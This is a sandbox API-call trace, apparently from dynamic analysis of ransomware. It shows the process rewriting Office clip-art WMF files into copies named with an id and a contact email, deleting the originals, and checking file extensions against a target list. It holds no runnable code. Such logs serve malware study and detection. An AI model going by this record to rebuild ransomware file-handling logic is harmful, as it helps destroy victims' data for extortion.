	[0076.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.574] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=5270) returned 1
	[0076.574] CloseHandle (hObject=0x38c) returned 1
	[0076.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220
	[0076.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.575] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.575] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0076.575] GetLastError () returned 0x0
	[0076.575] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x1496, lpOverlapped=0x0) returned 1
	[0076.792] WriteFile (in: hFile=0x35c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x14a0, lpOverlapped=0x0) returned 1
	[0076.793] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.793] WriteFile (in: hFile=0x35c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0076.793] SetEndOfFile (hFile=0x35c) returned 1
	[0076.793] CloseHandle (hObject=0x35c) returned 1
	[0076.794] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.794] SetEndOfFile (hFile=0x38c) returned 1
	[0076.795] CloseHandle (hObject=0x38c) returned 1
	[0076.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1
	[0077.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0077.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0077.036] lstrlenW (lpString=".doc") returned 4
	[0077.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0077.036] lstrlenW (lpString=".docx") returned 5
	[0077.036] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1
	[0077.036] lstrlenW (lpString=".pdf") returned 4
	[0077.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0077.036] lstrlenW (lpString=".xls") returned 4
	[0077.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0077.036] lstrlenW (lpString=".xlsx") returned 5
	[0077.036] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1
	[0077.036] lstrlenW (lpString=".ppt") returned 4
	[0077.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0077.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0077.036] lstrlenW (lpString=".zip") returned 4
	[0077.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0077.036] lstrlenW (lpString=".rar") returned 4
	[0077.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0077.037] lstrlenW (lpString=".bz2") returned 4
	[0077.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0077.037] lstrlenW (lpString=".7z") returned 3
	[0077.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0077.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0077.037] lstrlenW (lpString=".dbf") returned 4
	[0077.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0077.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0077.037] lstrlenW (lpString=".1cd") returned 4
	[0077.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0077.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0077.037] lstrlenW (lpString=".jpg") returned 4
	[0077.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0077.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0077.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0077.037] lstrlenW (lpString=".doc") returned 4
	[0077.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0077.037] lstrlenW (lpString=".docx") returned 5
	[0077.037] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1
	[0077.037] lstrlenW (lpString=".pdf") returned 4
	[0077.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0077.037] lstrlenW (lpString=".xls") returned 4
	[0077.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0077.037] lstrlenW (lpString=".xlsx") returned 5
	[0077.038] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1
	[0077.038] lstrlenW (lpString=".ppt") returned 4
	[0077.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0077.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0077.038] lstrlenW (lpString=".zip") returned 4
	[0077.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0077.038] lstrlenW (lpString=".rar") returned 4
	[0077.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0077.038] lstrlenW (lpString=".bz2") returned 4
	[0077.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0077.038] lstrlenW (lpString=".7z") returned 3
	[0077.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0077.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0077.038] lstrlenW (lpString=".dbf") returned 4
	[0077.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0077.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0077.038] lstrlenW (lpString=".1cd") returned 4
	[0077.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0077.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0077.038] lstrlenW (lpString=".jpg") returned 4
	[0077.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0077.038] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0077.039] lstrlenW (lpString="DD00256_.WMF") returned 12
	[0077.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.165] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2832) returned 1
	[0077.165] CloseHandle (hObject=0x35c) returned 1
	[0077.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x220
	[0077.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0083.533] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.533] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.534] GetLastError () returned 0x0
	[0083.534] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xb10, lpOverlapped=0x0) returned 1
	[0083.536] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xb20, lpOverlapped=0x0) returned 1
	[0083.537] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.537] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.537] SetEndOfFile (hFile=0x320) returned 1
	[0083.537] CloseHandle (hObject=0x320) returned 1
	[0083.537] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.537] SetEndOfFile (hFile=0x2c8) returned 1
	[0083.538] CloseHandle (hObject=0x2c8) returned 1
	[0083.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1
	[0083.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0083.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0083.539] lstrlenW (lpString=".doc") returned 4
	[0083.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.539] lstrlenW (lpString=".docx") returned 5
	[0083.539] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.539] lstrlenW (lpString=".pdf") returned 4
	[0083.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.539] lstrlenW (lpString=".xls") returned 4
	[0083.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.539] lstrlenW (lpString=".xlsx") returned 5
	[0083.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.539] lstrlenW (lpString=".ppt") returned 4
	[0083.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0083.539] lstrlenW (lpString=".zip") returned 4
	[0083.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.539] lstrlenW (lpString=".rar") returned 4
	[0083.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.539] lstrlenW (lpString=".bz2") returned 4
	[0083.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.539] lstrlenW (lpString=".7z") returned 3
	[0083.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0083.539] lstrlenW (lpString=".dbf") returned 4
	[0083.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0083.540] lstrlenW (lpString=".1cd") returned 4
	[0083.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0083.540] lstrlenW (lpString=".jpg") returned 4
	[0083.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0083.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0083.540] lstrlenW (lpString=".doc") returned 4
	[0083.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.540] lstrlenW (lpString=".docx") returned 5
	[0083.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.540] lstrlenW (lpString=".pdf") returned 4
	[0083.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.540] lstrlenW (lpString=".xls") returned 4
	[0083.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.540] lstrlenW (lpString=".xlsx") returned 5
	[0083.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.540] lstrlenW (lpString=".ppt") returned 4
	[0083.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0083.540] lstrlenW (lpString=".zip") returned 4
	[0083.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.540] lstrlenW (lpString=".rar") returned 4
	[0083.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.540] lstrlenW (lpString=".bz2") returned 4
	[0083.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.540] lstrlenW (lpString=".7z") returned 3
	[0083.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0083.540] lstrlenW (lpString=".dbf") returned 4
	[0083.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0083.541] lstrlenW (lpString=".1cd") returned 4
	[0083.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0083.541] lstrlenW (lpString=".jpg") returned 4
	[0083.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.541] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.541] lstrlenW (lpString="DD00261_.WMF") returned 12
	[0083.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0083.541] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=37974) returned 1
	[0083.541] CloseHandle (hObject=0x2c8) returned 1
	[0083.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220
	[0083.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0083.542] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.542] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.542] GetLastError () returned 0x0
	[0083.542] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x9456, lpOverlapped=0x0) returned 1
	[0083.544] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x9460, lpOverlapped=0x0) returned 1
	[0083.546] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.546] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.546] SetEndOfFile (hFile=0x320) returned 1
	[0083.546] CloseHandle (hObject=0x320) returned 1
	[0083.546] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.546] SetEndOfFile (hFile=0x2c8) returned 1
	[0083.547] CloseHandle (hObject=0x2c8) returned 1
	[0083.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1
	[0083.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0083.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0083.548] lstrlenW (lpString=".doc") returned 4
	[0083.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.548] lstrlenW (lpString=".docx") returned 5
	[0083.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.548] lstrlenW (lpString=".pdf") returned 4
	[0083.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.548] lstrlenW (lpString=".xls") returned 4
	[0083.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.548] lstrlenW (lpString=".xlsx") returned 5
	[0083.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.548] lstrlenW (lpString=".ppt") returned 4
	[0083.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0083.548] lstrlenW (lpString=".zip") returned 4
	[0083.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.548] lstrlenW (lpString=".rar") returned 4
	[0083.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.548] lstrlenW (lpString=".bz2") returned 4
	[0083.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.548] lstrlenW (lpString=".7z") returned 3
	[0083.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0083.549] lstrlenW (lpString=".dbf") returned 4
	[0083.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0083.549] lstrlenW (lpString=".1cd") returned 4
	[0083.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0083.549] lstrlenW (lpString=".jpg") returned 4
	[0083.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0083.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0083.549] lstrlenW (lpString=".doc") returned 4
	[0083.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString=".docx") returned 5
	[0083.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.549] lstrlenW (lpString=".pdf") returned 4
	[0083.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString=".xls") returned 4
	[0083.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.549] lstrlenW (lpString=".xlsx") returned 5
	[0083.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.549] lstrlenW (lpString=".ppt") returned 4
	[0083.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0083.549] lstrlenW (lpString=".zip") returned 4
	[0083.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.549] lstrlenW (lpString=".rar") returned 4
	[0083.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString=".bz2") returned 4
	[0083.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString=".7z") returned 3
	[0083.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0083.550] lstrlenW (lpString=".dbf") returned 4
	[0083.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0083.550] lstrlenW (lpString=".1cd") returned 4
	[0083.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0083.550] lstrlenW (lpString=".jpg") returned 4
	[0083.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.550] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.550] lstrlenW (lpString="DD00297_.WMF") returned 12
